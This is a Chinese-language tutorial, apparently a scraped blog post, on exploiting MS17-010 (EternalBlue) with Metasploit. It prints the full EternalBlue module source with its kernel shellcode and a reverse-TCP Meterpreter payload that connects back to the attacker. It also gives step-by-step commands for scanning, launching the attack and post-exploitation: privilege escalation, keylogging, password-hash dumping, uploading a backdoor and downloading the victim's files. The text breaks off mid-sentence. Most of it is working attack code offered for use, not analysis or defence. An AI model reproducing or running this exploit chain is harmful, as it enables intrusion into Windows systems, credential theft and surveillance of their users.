zoukankan      html  css  js  c++  java
  • Metasploit利用MS17-010漏洞

    端口扫描

    使用nmap扫描主机及开放的端口:nmap -sS 192.168.1.*

    Starting Nmap 7.70 ( https://nmap.org ) at 2018-05-25 15:06 CST
    Nmap scan report for cvr328w (192.168.1.1)
    Host is up (0.00049s latency).
    Not shown: 998 closed ports
    PORT    STATE SERVICE
    80/tcp  open  http
    443/tcp open  https
    MAC Address: 5C:50:15:7E:A8:A3 (Cisco Systems)

    Nmap scan report for 192.168.1.100
    Host is up (0.0011s latency).
    Not shown: 998 closed ports
    PORT    STATE SERVICE
    80/tcp  open  http
    443/tcp open  https
    MAC Address: BC:67:1C:AC:5E:F2 (Cisco Systems)

    Nmap scan report for 192.168.1.102
    Host is up (0.00095s latency).
    Not shown: 992 closed ports
    PORT      STATE SERVICE
    135/tcp   open  msrpc
    139/tcp   open  netbios-ssn
    445/tcp   open  microsoft-ds
    49152/tcp open  unknown
    49153/tcp open  unknown
    49154/tcp open  unknown
    49155/tcp open  unknown
    49156/tcp open  unknown
    MAC Address: 40:8D:5C:9B:B1:0D (Giga-byte Technology)

    Nmap scan report for 192.168.1.105
    Host is up (0.00072s latency).
    Not shown: 988 closed ports
    PORT      STATE SERVICE
    135/tcp   open  msrpc
    139/tcp   open  netbios-ssn
    443/tcp   open  https
    445/tcp   open  microsoft-ds
    902/tcp   open  iss-realsecure
    912/tcp   open  apex-mesh
    15000/tcp open  hydap
    49152/tcp open  unknown
    49153/tcp open  unknown
    49154/tcp open  unknown
    49156/tcp open  unknown
    49157/tcp open  unknown
    MAC Address: 40:8D:5C:99:7A:A9 (Giga-byte Technology)

    得到开放的端口信息

    主机漏洞扫描

    使用nessus扫描目标主机,确定目标主机存在MS17-010漏洞

    渗透攻击

    使用Metasploit进行攻击

    打开终端,输入msfcnsole

    然后查找ms17-010的利用代码:search ms17-010

    Matching Modules
    ================

       Name                                      Disclosure Date  Rank     Description
       ----                                      ---------------  ----     -----------
       auxiliary/admin/smb/ms17_010_command      2017-03-14       normal   MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution
       auxiliary/scanner/smb/smb_ms17_010                         normal   MS17-010 SMB RCE Detection
       exploit/windows/smb/ms17_010_eternalblue  2017-03-14       average  MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
       exploit/windows/smb/ms17_010_psexec       2017-03-14       normal   MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution
     

    然后使用第三个(永恒之蓝)攻击代码植入漏洞:use exploit/windows/smb/ms17_010_eternalblue

    ms17_010_eternalblue.rb源代码如下(路径:/usr/share/metasploit-framework/modules/exploits/windows/smb):

    ##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    require 'ruby_smb'
    require 'ruby_smb/smb1/packet'
    require 'windows_error'
    
    class MetasploitModule < Msf::Exploit::Remote
      Rank = AverageRanking
    
      include Msf::Exploit::Remote::DCERPC
    
      def initialize(info = {})
        super(update_info(info,
          'Name'           => 'MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption',
          'Description'    => %q{
            This module is a port of the Equation Group ETERNALBLUE exploit, part of
            the FuzzBunch toolkit released by Shadow Brokers.
    
            There is a buffer overflow memmove operation in Srv!SrvOs2FeaToNt. The size
            is calculated in Srv!SrvOs2FeaListSizeToNt, with mathematical error where a
            DWORD is subtracted into a WORD. The kernel pool is groomed so that overflow
            is well laid-out to overwrite an SMBv1 buffer. Actual RIP hijack is later
            completed in srvnet!SrvNetWskReceiveComplete.
    
            This exploit, like the original may not trigger 100% of the time, and should be
            run continuously until triggered. It seems like the pool will get hot streaks
            and need a cool down period before the shells rain in again.
    
            The module will attempt to use Anonymous login, by default, to authenticate to perform the
            exploit. If the user supplies credentials in the SMBUser, SMBPass, and SMBDomain options it will use
            those instead.
    
            On some systems, this module may cause system instability and crashes, such as a BSOD or
            a reboot. This may be more likely with some payloads.
          },
    
          'Author'         => [
            'Sean Dillon <sean.dillon@risksense.com>',  # @zerosum0x0
            'Dylan Davis <dylan.davis@risksense.com>',  # @jennamagius
            'Equation Group',
            'Shadow Brokers',
            'thelightcosine'  # RubySMB refactor and Fallback Credential mode
           ],
          'License'        => MSF_LICENSE,
          'References'     =>
            [
              [ 'AKA', 'ETERNALBLUE' ],
              [ 'MSB', 'MS17-010' ],
              [ 'CVE', '2017-0143' ],
              [ 'CVE', '2017-0144' ],
              [ 'CVE', '2017-0145' ],
              [ 'CVE', '2017-0146' ],
              [ 'CVE', '2017-0147' ],
              [ 'CVE', '2017-0148' ],
              [ 'URL', 'https://github.com/RiskSense-Ops/MS17-010' ]
            ],
          'DefaultOptions' =>
            {
              'EXITFUNC'   => 'thread',
              'WfsDelay'  => 5,
            },
          'Privileged'     => true,
          'Payload'        =>
            {
              'Space'           => 2000,  # this can be more, needs to be recalculated
              'EncoderType'     => Msf::Encoder::Type::Raw,
            },
          'Platform'       => 'win',
          'Targets'        =>
            [
              [ 'Windows 7 and Server 2008 R2 (x64) All Service Packs',
                {
                  'Platform'       => 'win',
                  'Arch'           => [ ARCH_X64 ],
    
                  'os_patterns'    => ['Server 2008 R2', 'Windows 7'],
                  'ep_thl_b'       => 0x308,  # EPROCESS.ThreadListHead.Blink offset
                  'et_alertable'   => 0x4c,   # ETHREAD.Alertable offset
                  'teb_acp'        => 0x2c8,  # TEB.ActivationContextPointer offset
                  'et_tle'         => 0x420   # ETHREAD.ThreadListEntry offset
                }
              ],
            ],
          'DefaultTarget'  => 0,
          'DisclosureDate' => 'Mar 14 2017'
        ))
    
        register_options(
          [
            Opt::RPORT(445),
            OptString.new('ProcessName', [ true, 'Process to inject payload into.', 'spoolsv.exe' ]),
            OptInt.new( 'MaxExploitAttempts', [ true,  "The number of times to retry the exploit.", 3 ] ),
            OptInt.new( 'GroomAllocations', [ true,  "Initial number of times to groom the kernel pool.", 12 ] ),
            OptInt.new( 'GroomDelta', [ true,  "The amount to increase the groom count by per try.", 5 ] ),
            OptBool.new( 'VerifyTarget', [ true,  "Check if remote OS matches exploit Target.", true ] ),
            OptBool.new( 'VerifyArch', [ true,  "Check if remote architecture matches exploit Target.", true ] ),
            OptString.new('SMBUser', [ false, '(Optional) The username to authenticate as', '']),
            OptString.new('SMBPass', [ false, '(Optional) The password for the specified username', '']),
            OptString.new('SMBDomain',  [ false, '(Optional) The Windows domain to use for authentication', '.']),
          ])
      end
    
      class EternalBlueError < StandardError
      end
    
      def check
        # todo: create MS17-010 mixin, and hook up auxiliary/scanner/smb/smb_ms17_010
      end
    
      def exploit
        begin
          for i in 1..datastore['MaxExploitAttempts']
    
            grooms = datastore['GroomAllocations'] + datastore['GroomDelta'] * (i - 1)
    
            smb_eternalblue(datastore['ProcessName'], grooms)
    
            # we don't need this sleep, and need to find a way to remove it
            # problem is session_count won't increment until stage is complete :
            secs = 0
            while !session_created? and secs < 30
              secs += 1
              sleep 1
            end
    
            if session_created?
              print_good("=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=")
              print_good("=-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=")
              print_good("=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=")
              break
            else
              print_bad("=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=")
              print_bad("=-=-=-=-=-=-=-=-=-=-=-=-=-=FAIL-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=")
              print_bad("=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=")
            end
          end
    
        rescue EternalBlueError => e
          print_error("#{e.message}")
          return false
        rescue ::RubySMB::Error::NegotiationFailure
          print_error("SMB Negotiation Failure -- this often occurs when lsass crashes.  The target may reboot in 60 seconds.")
          return false
        rescue  ::RubySMB::Error::UnexpectedStatusCode,
                ::Errno::ECONNRESET,
                ::Rex::HostUnreachable,
                ::Rex::ConnectionTimeout,
                ::Rex::ConnectionRefused,
                ::RubySMB::Error::CommunicationError => e
          print_error("#{e.class}: #{e.message}")
          report_failure
          return false
        rescue => error
          print_error(error.class.to_s)
          print_error(error.message)
          print_error(error.backtrace.join("
    "))
          return false
        ensure
          # pass
        end
      end
    
      def smb_eternalblue(process_name, grooms)
        begin
          # Step 0: pre-calculate what we can
          shellcode =  make_kernel_user_payload(payload.encode, 0, 0, 0, 0, 0)
          payload_hdr_pkt = make_smb2_payload_headers_packet
          payload_body_pkt = make_smb2_payload_body_packet(shellcode)
    
          # Step 1: Connect to IPC$ share
          print_status("Connecting to target for exploitation.")
          client, tree, sock, os = smb1_anonymous_connect_ipc()
        rescue RubySMB::Error::CommunicationError
          # Error handler in case SMBv1 disabled on target
          raise EternalBlueError, 'Could not make SMBv1 connection'
        else
          print_good("Connection established for exploitation.")
    
          if verify_target(os)
            print_good('Target OS selected valid for OS indicated by SMB reply')
          else
            print_warning('Target OS selected not valid for OS indicated by SMB reply')
            print_warning('Disable VerifyTarget option to proceed manually...')
            raise EternalBlueError, 'Unable to continue with improper OS Target.'
          end
    
          # cool buffer print no matter what, will be helpful when people post debug issues
          print_core_buffer(os)
    
          if verify_arch
            print_good('Target arch selected valid for arch indicated by DCE/RPC reply')
          else
            print_warning('Target arch selected not valid for arch indicated by DCE/RPC reply')
            print_warning('Disable VerifyArch option to proceed manually...')
            raise EternalBlueError, 'Unable to continue with improper OS Arch.'
          end
    
          print_status("Trying exploit with #{grooms} Groom Allocations.")
    
          # Step 2: Create a large SMB1 buffer
          print_status("Sending all but last fragment of exploit packet")
          smb1_large_buffer(client, tree, sock)
    
          # Step 3: Groom the pool with payload packets, and open/close SMB1 packets
          print_status("Starting non-paged pool grooming")
    
          # initialize_groom_threads(ip, port, payload, grooms)
          fhs_sock = smb1_free_hole(true)
    
          @groom_socks = []
    
          print_good("Sending SMBv2 buffers")
          smb2_grooms(grooms, payload_hdr_pkt)
    
          fhf_sock = smb1_free_hole(false)
    
          print_good("Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.")
          fhs_sock.shutdown()
    
          print_status("Sending final SMBv2 buffers.") # 6x
          smb2_grooms(6, payload_hdr_pkt) # todo: magic #
    
          fhf_sock.shutdown()
    
          print_status("Sending last fragment of exploit packet!")
          final_exploit_pkt = make_smb1_trans2_exploit_packet(tree.id, client.user_id, :eb_trans2_exploit, 15)
          sock.put(final_exploit_pkt)
    
          print_status("Receiving response from exploit packet")
          code, raw = smb1_get_response(sock)
    
          code_str = "0x" + code.to_i.to_s(16).upcase
          if code.nil?
            print_error("Did not receive a response from exploit packet")
          elsif code == 0xc000000d # STATUS_INVALID_PARAMETER (0xC000000D)
            print_good("ETERNALBLUE overwrite completed successfully (#{code_str})!")
          else
            print_warning("ETERNALBLUE overwrite returned unexpected status code (#{code_str})!")
          end
    
          # Step 4: Send the payload
          print_status("Sending egg to corrupted connection.")
    
          @groom_socks.each{ |gsock| gsock.put(payload_body_pkt.first(2920)) }
          @groom_socks.each{ |gsock| gsock.put(payload_body_pkt[2920..(4204 - 0x84)]) }
    
          print_status("Triggering free of corrupted buffer.")
          # tree disconnect
          # logoff and x
          # note: these aren't necessary, just close the sockets
          return true
        ensure
          abort_sockets
        end
      end
    
      def verify_target(os)
        os = os.gsub("x00", '')  # strip unicode bs
        os << "x00"              # but original has a null
        ret = true
    
        if datastore['VerifyTarget']
          ret = false
          # search if its in patterns
          target['os_patterns'].each do |pattern|
            if os.downcase.include? pattern.downcase
              ret = true
              break
            end
          end
        end
    
        return ret
      end
    
      def verify_arch
        return true unless datastore['VerifyArch']
    
        # XXX: This sends a new DCE/RPC packet
        arch = dcerpc_getarch
    
        return true if arch && arch == target_arch.first
    
        print_warning("Target arch is #{target_arch.first}, but server returned #{arch.inspect}")
        print_warning("The DCE/RPC service or probe may be blocked") if arch.nil?
        false
      end
    
      def print_core_buffer(os)
        print_status("CORE raw buffer dump (#{os.length.to_s} bytes)")
    
        count = 0
        chunks = os.scan(/.{1,16}/)
        chunks.each do | chunk |
          hexdump = chunk.chars.map { |ch| ch.ord.to_s(16).rjust(2, "0") }.join(" ")
    
          format = "0x%08x  %-47s  %-16s" % [(count * 16), hexdump, chunk]
          print_status(format)
          count += 1
        end
      end
    
      '''
      #
      # Increase the default delay by five seconds since some kernel-mode
      # payloads may not run immediately.
      #
      def wfs_delay
        super + 5
      end
      '''
    
      def smb2_grooms(grooms, payload_hdr_pkt)
        grooms.times do |groom_id|
          gsock = connect(false)
          @groom_socks << gsock
          gsock.put(payload_hdr_pkt)
        end
      end
    
      def smb1_anonymous_connect_ipc
        sock = connect(false)
        dispatcher = RubySMB::Dispatcher::Socket.new(sock)
        client = RubySMB::Client.new(dispatcher, smb1: true, smb2: false, username: smb_user, password: smb_pass)
        response_code = client.login
    
        unless response_code == ::WindowsError::NTStatus::STATUS_SUCCESS
          raise RubySMB::Error::UnexpectedStatusCode, "Error with login: #{response_code.to_s}"
        end
        os = client.peer_native_os
    
        tree = client.tree_connect("\\#{datastore['RHOST']}\IPC$")
    
        return client, tree, sock, os
      end
    
      def smb1_large_buffer(client, tree, sock)
        nt_trans_pkt = make_smb1_nt_trans_packet(tree.id, client.user_id)
    
        # send NT Trans
        vprint_status("Sending NT Trans Request packet")
    
        client.send_recv(nt_trans_pkt)
        # Initial Trans2  request
        trans2_pkt_nulled = make_smb1_trans2_exploit_packet(tree.id, client.user_id, :eb_trans2_zero, 0)
    
        # send all but last packet
        for i in 1..14
            trans2_pkt_nulled << make_smb1_trans2_exploit_packet(tree.id, client.user_id, :eb_trans2_buffer, i)
        end
    
        vprint_status("Sending malformed Trans2 packets")
        sock.put(trans2_pkt_nulled)
    
        begin
          sock.get_once
        rescue EOFError
          vprint_error("No response back from SMB echo request.  Continuing anyway...")
        end
    
        client.echo(count:1, data: "x41x41x41x41x41x41x41x41x41x41x41x00")
      end
    
      def smb1_free_hole(start)
        sock = connect(false)
        dispatcher = RubySMB::Dispatcher::Socket.new(sock)
        client = RubySMB::Client.new(dispatcher, smb1: true, smb2: false, username: smb_user, password: smb_pass)
        client.negotiate
    
        pkt = ""
    
        if start
          vprint_status("Sending start free hole packet.")
          pkt = make_smb1_free_hole_session_packet("x07xc0", "x2dx01", "xf0xffx00x00x00")
        else
          vprint_status("Sending end free hole packet.")
          pkt = make_smb1_free_hole_session_packet("x07x40", "x2cx01", "xf8x87x00x00x00")
        end
    
        client.send_recv(pkt)
        sock
      end
    
      def smb1_get_response(sock)
        raw = nil
    
        # dirty hack since it doesn't always like to reply the first time...
        16.times do
          raw = sock.get_once
          break unless raw.nil? or raw.empty?
        end
    
        return nil unless raw
        response = RubySMB::SMB1::SMBHeader.read(raw[4..-1])
        code = response.nt_status
        return code, raw, response
      end
    
      def make_smb2_payload_headers_packet
        # don't need a library here, the packet is essentially nonsensical
        pkt = ""
        pkt << "x00"             # session message
        pkt << "x00xffxf7"     # size
        pkt << "xfeSMB"          # SMB2
        pkt << "x00" * 124
    
        pkt
      end
    
      def make_smb2_payload_body_packet(kernel_user_payload)
        # precalculated lengths
        pkt_max_len = 4204
        pkt_setup_len = 497
        pkt_max_payload = pkt_max_len - pkt_setup_len # 3575
    
        # this packet holds padding, KI_USER_SHARED_DATA addresses, and shellcode
        pkt = ""
    
        # padding
        pkt << "x00" * 0x8
        pkt << "x03x00x00x00"
        pkt << "x00" * 0x1c
        pkt << "x03x00x00x00"
        pkt << "x00" * 0x74
    
        # KI_USER_SHARED_DATA addresses
        pkt << "xb0x00xd0xffxffxffxffxff" * 2 # x64 address
        pkt << "x00" * 0x10
        pkt << "xc0xf0xdfxff" * 2                 # x86 address
        pkt << "x00" * 0xc4
    
        # payload addreses
        pkt << "x90xf1xdfxff"
        pkt << "x00" * 0x4
        pkt << "xf0xf1xdfxff"
        pkt << "x00" * 0x40
    
        pkt << "xf0x01xd0xffxffxffxffxff"
        pkt << "x00" * 0x8
        pkt << "x00x02xd0xffxffxffxffxff"
        pkt << "x00"
    
        pkt << kernel_user_payload
    
        # fill out the rest, this can be randomly generated
        pkt << "x00" * (pkt_max_payload - kernel_user_payload.length)
    
        pkt
      end
    
      # Type can be :eb_trans2_zero, :eb_trans2_buffer, or :eb_trans2_exploit
      def make_smb1_trans2_exploit_packet(tree_id, user_id, type, timeout)
        timeout = (timeout * 0x10) + 3
        timeout_value = "x35x00xd0" + timeout.chr
    
        packet = RubySMB::SMB1::Packet::Trans2::Request.new
        packet = set_smb1_headers(packet,tree_id,user_id)
    
        # The packets are labeled as Secondary Requests but are actually structured
        # as normal Trans2 Requests for some reason. We shall similarly cheat here.
        packet.smb_header.command = RubySMB::SMB1::Commands::SMB_COM_TRANSACTION2_SECONDARY
    
        packet.parameter_block.flags.read("x00x10")
        packet.parameter_block.timeout.read(timeout_value)
    
        packet.parameter_block.word_count       = 9
        packet.parameter_block.total_data_count = 4096
        packet.parameter_block.parameter_count  = 4096
    
        nbss = "x00x00x10x35"
        pkt  = packet.to_binary_s
        pkt  = pkt[0,packet.parameter_block.parameter_offset.abs_offset]
        pkt  = nbss + pkt
    
        case type
          when :eb_trans2_exploit
            vprint_status("Making :eb_trans2_exploit packet")
    
            pkt << "x41" * 2957
    
            pkt << "x80x00xa8x00"                     # overflow
    
            pkt << "x00" * 0x10
            pkt << "xffxff"
            pkt << "x00" * 0x6
            pkt << "xffxff"
            pkt << "x00" * 0x16
    
            pkt << "x00xf1xdfxff"             # x86 addresses
            pkt << "x00" * 0x8
            pkt << "x20xf0xdfxff"
    
            pkt << "x00xf1xdfxffxffxffxffxff" # x64
    
            pkt << "x60x00x04x10"
            pkt << "x00" * 4
    
            pkt << "x80xefxdfxff"
    
            pkt << "x00" * 4
            pkt << "x10x00xd0xffxffxffxffxff"
            pkt << "x18x01xd0xffxffxffxffxff"
            pkt << "x00" * 0x10
    
            pkt << "x60x00x04x10"
            pkt << "x00" * 0xc
            pkt << "x90xffxcfxffxffxffxffxff"
            pkt << "x00" * 0x8
            pkt << "x80x10"
            pkt << "x00" * 0xe
            pkt << "x39"
            pkt << "xbb"
    
            pkt << "x41" * 965
          when :eb_trans2_zero
            vprint_status("Making :eb_trans2_zero packet")
            pkt << "x00" * 2055
            pkt << "x83xf3"
            pkt << "x41" * 2039
          else
            vprint_status("Making :eb_trans2_buffer packet")
            pkt << "x41" * 4096
        end
        pkt
      end
    
      def make_smb1_nt_trans_packet(tree_id, user_id)
        packet = RubySMB::SMB1::Packet::NtTrans::Request.new
    
        # Disable the automatic padding because it will distort
        # our values here.
        packet.data_block.enable_padding = false
    
        packet = set_smb1_headers(packet,tree_id,user_id)
    
        packet.parameter_block.max_setup_count       = 1
        packet.parameter_block.total_parameter_count = 30
        packet.parameter_block.total_data_count      = 66512
        packet.parameter_block.max_parameter_count   = 30
        packet.parameter_block.max_data_count        = 0
        packet.parameter_block.parameter_count       = 30
        packet.parameter_block.parameter_offset      = 75
        packet.parameter_block.data_count            = 976
        packet.parameter_block.data_offset           = 104
        packet.parameter_block.function              = 0
    
        packet.parameter_block.setup << 0x0000
    
        packet.data_block.byte_count        = 1004
        packet.data_block.trans2_parameters =  "x00" * 31 + "x01" + ( "x00" * 973 )
        packet
      end
    
      def make_smb1_free_hole_session_packet(flags2, vcnum, native_os)
        packet = RubySMB::SMB1::Packet::SessionSetupRequest.new
    
        packet.smb_header.flags.read("x18")
        packet.smb_header.flags2.read(flags2)
        packet.smb_header.pid_high = 65279
        packet.smb_header.mid      = 64
    
        packet.parameter_block.vc_number.read(vcnum)
        packet.parameter_block.max_buffer_size      = 4356
        packet.parameter_block.max_mpx_count        = 10
        packet.parameter_block.security_blob_length = 0
    
        packet.data_block.native_os       = native_os
        packet.data_block.native_lan_man  = "x00" * 17
        packet
      end
    
      # ring3 = user mode encoded payload
      # proc_name = process to inject APC into
      # ep_thl_b = EPROCESS.ThreadListHead.Blink offset
      # et_alertable = ETHREAD.Alertable offset
      # teb_acp = TEB.ActivationContextPointer offset
      # et_tle = ETHREAD.ThreadListEntry offset
      def make_kernel_user_payload(ring3, proc_name, ep_thl_b, et_alertable, teb_acp, et_tle)
        sc = make_kernel_shellcode
        sc << [ring3.length].pack("S<")
        sc << ring3
        sc
      end
    
      def make_kernel_shellcode
        # see: external/source/shellcode/windows/multi_arch_kernel_queue_apc.asm
        # Length: 1019 bytes
    
        #"xcc"+
        "x31xC9x41xE2x01xC3xB9x82x00x00xC0x0Fx32x48xBBxF8" +
        "x0FxD0xFFxFFxFFxFFxFFx89x53x04x89x03x48x8Dx05x0A" +
        "x00x00x00x48x89xC2x48xC1xEAx20x0Fx30xC3x0Fx01xF8" +
        "x65x48x89x24x25x10x00x00x00x65x48x8Bx24x25xA8x01" +
        "x00x00x50x53x51x52x56x57x55x41x50x41x51x41x52x41" +
        "x53x41x54x41x55x41x56x41x57x6Ax2Bx65xFFx34x25x10" +
        "x00x00x00x41x53x6Ax33x51x4Cx89xD1x48x83xECx08x55" +
        "x48x81xECx58x01x00x00x48x8DxACx24x80x00x00x00x48" +
        "x89x9DxC0x00x00x00x48x89xBDxC8x00x00x00x48x89xB5" +
        "xD0x00x00x00x48xA1xF8x0FxD0xFFxFFxFFxFFxFFx48x89" +
        "xC2x48xC1xEAx20x48x31xDBxFFxCBx48x21xD8xB9x82x00" +
        "x00xC0x0Fx30xFBxE8x38x00x00x00xFAx65x48x8Bx24x25" +
        "xA8x01x00x00x48x83xECx78x41x5Fx41x5Ex41x5Dx41x5C" +
        "x41x5Bx41x5Ax41x59x41x58x5Dx5Fx5Ex5Ax59x5Bx58x65" +
        "x48x8Bx24x25x10x00x00x00x0Fx01xF8xFFx24x25xF8x0F" +
        "xD0xFFx56x41x57x41x56x41x55x41x54x53x55x48x89xE5" +
        "x66x83xE4xF0x48x83xECx20x4Cx8Dx35xE3xFFxFFxFFx65" +
        "x4Cx8Bx3Cx25x38x00x00x00x4Dx8Bx7Fx04x49xC1xEFx0C" +
        "x49xC1xE7x0Cx49x81xEFx00x10x00x00x49x8Bx37x66x81" +
        "xFEx4Dx5Ax75xEFx41xBBx5Cx72x11x62xE8x18x02x00x00" +
        "x48x89xC6x48x81xC6x08x03x00x00x41xBBx7AxBAxA3x30" +
        "xE8x03x02x00x00x48x89xF1x48x39xF0x77x11x48x8Dx90" +
        "x00x05x00x00x48x39xF2x72x05x48x29xC6xEBx08x48x8B" +
        "x36x48x39xCEx75xE2x49x89xF4x31xDBx89xD9x83xC1x04" +
        "x81xF9x00x00x01x00x0Fx8Dx66x01x00x00x4Cx89xF2x89" +
        "xCBx41xBBx66x55xA2x4BxE8xBCx01x00x00x85xC0x75xDB" +
        "x49x8Bx0Ex41xBBxA3x6Fx72x2DxE8xAAx01x00x00x48x89" +
        "xC6xE8x50x01x00x00x41x81xF9xBFx77x1FxDDx75xBCx49" +
        "x8Bx1Ex4Dx8Dx6Ex10x4Cx89xEAx48x89xD9x41xBBxE5x24" +
        "x11xDCxE8x81x01x00x00x6Ax40x68x00x10x00x00x4Dx8D" +
        "x4Ex08x49xC7x01x00x10x00x00x4Dx31xC0x4Cx89xF2x31" +
        "xC9x48x89x0Ax48xF7xD1x41xBBx4BxCAx0AxEEx48x83xEC" +
        "x20xE8x52x01x00x00x85xC0x0Fx85xC8x00x00x00x49x8B" +
        "x3Ex48x8Dx35xE9x00x00x00x31xC9x66x03x0DxD7x01x00" +
        "x00x66x81xC1xF9x00xF3xA4x48x89xDEx48x81xC6x08x03" +
        "x00x00x48x89xF1x48x8Bx11x4Cx29xE2x51x52x48x89xD1" +
        "x48x83xECx20x41xBBx26x40x36x9DxE8x09x01x00x00x48" +
        "x83xC4x20x5Ax59x48x85xC0x74x18x48x8Bx80xC8x02x00" +
        "x00x48x85xC0x74x0Cx48x83xC2x4Cx8Bx02x0FxBAxE0x05" +
        "x72x05x48x8Bx09xEBxBEx48x83xEAx4Cx49x89xD4x31xD2" +
        "x80xC2x90x31xC9x41xBBx26xACx50x91xE8xC8x00x00x00" +
        "x48x89xC1x4Cx8Dx89x80x00x00x00x41xC6x01xC3x4Cx89" +
        "xE2x49x89xC4x4Dx31xC0x41x50x6Ax01x49x8Bx06x50x41" +
        "x50x48x83xECx20x41xBBxACxCEx55x4BxE8x98x00x00x00" +
        "x31xD2x52x52x41x58x41x59x4Cx89xE1x41xBBx18x38x09" +
        "x9ExE8x82x00x00x00x4Cx89xE9x41xBBx22xB7xB3x7DxE8" +
        "x74x00x00x00x48x89xD9x41xBBx0DxE2x4Dx85xE8x66x00" +
        "x00x00x48x89xECx5Dx5Bx41x5Cx41x5Dx41x5Ex41x5Fx5E" +
        "xC3xE9xB5x00x00x00x4Dx31xC9x31xC0xACx41xC1xC9x0D" +
        "x3Cx61x7Cx02x2Cx20x41x01xC1x38xE0x75xECxC3x31xD2" +
        "x65x48x8Bx52x60x48x8Bx52x18x48x8Bx52x20x48x8Bx12" +
        "x48x8Bx72x50x48x0FxB7x4Ax4Ax45x31xC9x31xC0xACx3C" +
        "x61x7Cx02x2Cx20x41xC1xC9x0Dx41x01xC1xE2xEEx45x39" +
        "xD9x75xDAx4Cx8Bx7Ax20xC3x4Cx89xF8x41x51x41x50x52" +
        "x51x56x48x89xC2x8Bx42x3Cx48x01xD0x8Bx80x88x00x00" +
        "x00x48x01xD0x50x8Bx48x18x44x8Bx40x20x49x01xD0x48" +
        "xFFxC9x41x8Bx34x88x48x01xD6xE8x78xFFxFFxFFx45x39" +
        "xD9x75xECx58x44x8Bx40x24x49x01xD0x66x41x8Bx0Cx48" +
        "x44x8Bx40x1Cx49x01xD0x41x8Bx04x88x48x01xD0x5Ex59" +
        "x5Ax41x58x41x59x41x5Bx41x53xFFxE0x56x41x57x55x48" +
        "x89xE5x48x83xECx20x41xBBxDAx16xAFx92xE8x4DxFFxFF" +
        "xFFx31xC9x51x51x51x51x41x59x4Cx8Dx05x1Ax00x00x00" +
        "x5Ax48x83xECx20x41xBBx46x45x1Bx22xE8x68xFFxFFxFF" +
        "x48x89xECx5Dx41x5Fx5ExC3"#x01x00xC3"
    
      end
    
      # Sets common SMB1 Header values used by the various
      # packets in the exploit.
      #
      # @return [RubySMB::GenericPacket] the modified version of the packet
      def set_smb1_headers(packet,tree_id,user_id)
        packet.smb_header.flags2.read("x07xc0")
        packet.smb_header.tid       = tree_id
        packet.smb_header.uid       = user_id
        packet.smb_header.pid_low   = 65279
        packet.smb_header.mid       = 64
        packet
      end
    
    
      # Returns the value to be passed to SMB clients for
      # the password. If the user has not supplied a password
      # it returns an empty string to trigger an anonymous
      # logon.
      #
      # @return [String] the password value
      def smb_pass
        if datastore['SMBPass'].present?
          datastore['SMBPass']
        else
          ''
        end
      end
    
      # Returns the value to be passed to SMB clients for
      # the username. If the user has not supplied a username
      # it returns an empty string to trigger an anonymous
      # logon.
      #
      # @return [String] the username value
      def smb_user
        if datastore['SMBUser'].present?
          datastore['SMBUser']
        else
          ''
        end
      end
    end

    设置目标主机:set RHOST 192.168.1.109

    设置攻击荷载:set payload windows/x64/meterpreter/reverse_tcp

    meterpreter_reverse_tcp.rb的源代码如下(路径:/usr/share/metasploit-framework/modules/payloads/singles/windows/x64):

    ##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    require 'msf/core/handler/reverse_tcp'
    require 'msf/core/payload/transport_config'
    require 'msf/core/payload/windows/x64/meterpreter_loader'
    require 'msf/base/sessions/meterpreter_x64_win'
    require 'msf/base/sessions/meterpreter_options'
    require 'rex/payloads/meterpreter/config'
    
    module MetasploitModule
    
      CachedSize = 206403
    
      include Msf::Payload::TransportConfig
      include Msf::Payload::Windows
      include Msf::Payload::Single
      include Msf::Payload::Windows::MeterpreterLoader_x64
      include Msf::Sessions::MeterpreterOptions
    
      def initialize(info = {})
    
        super(merge_info(info,
          'Name'        => 'Windows Meterpreter Shell, Reverse TCP Inline x64',
          'Description' => 'Connect back to attacker and spawn a Meterpreter shell',
          'Author'      => [ 'OJ Reeves' ],
          'License'     => MSF_LICENSE,
          'Platform'    => 'win',
          'Arch'        => ARCH_X64,
          'Handler'     => Msf::Handler::ReverseTcp,
          'Session'     => Msf::Sessions::Meterpreter_x64_Win
          ))
    
        register_options([
          OptString.new('EXTENSIONS', [false, 'Comma-separate list of extensions to load']),
          OptString.new('EXTINIT',    [false, 'Initialization strings for extensions'])
        ])
      end
    
      def generate(opts={})
        opts[:stageless] = true
        stage_meterpreter(opts) + generate_config(opts)
      end
    
      def generate_config(opts={})
        opts[:uuid] ||= generate_payload_uuid
    
        # create the configuration block
        config_opts = {
          arch:       opts[:uuid].arch,
          exitfunk:   datastore['EXITFUNC'],
          expiration: datastore['SessionExpirationTimeout'].to_i,
          uuid:       opts[:uuid],
          transports: [transport_config_reverse_tcp(opts)],
          extensions: (datastore['EXTENSIONS'] || '').split(','),
          ext_init:   (datastore['EXTINIT'] || ''),
          stageless:  true
        }
    
        # create the configuration instance based off the parameters
        config = Rex::Payloads::Meterpreter::Config.new(config_opts)
    
        # return the binary version of it
        config.to_b
      end
    end
    

    然后查看选项是否设置好:show options

    有时候需要设置攻击主机(LHOST),有时候不需要

    然后exploit或者run

    攻击成功可以输入sysinfo查看受害者系统信息,使用getsystem提升权限,使用keyscan_start,keyscan_dump,keyscan_stop记录键盘,使用hashdump获取密码hash值,输入help可以查看命令,如:输入shell进入对方的命令行,然后执行系统命令。

    可以使用upload /root/bakdoor.exe命令上传文件,download C:word.doc下载文件,search  -d D:  -f  *.doc查找D盘下所

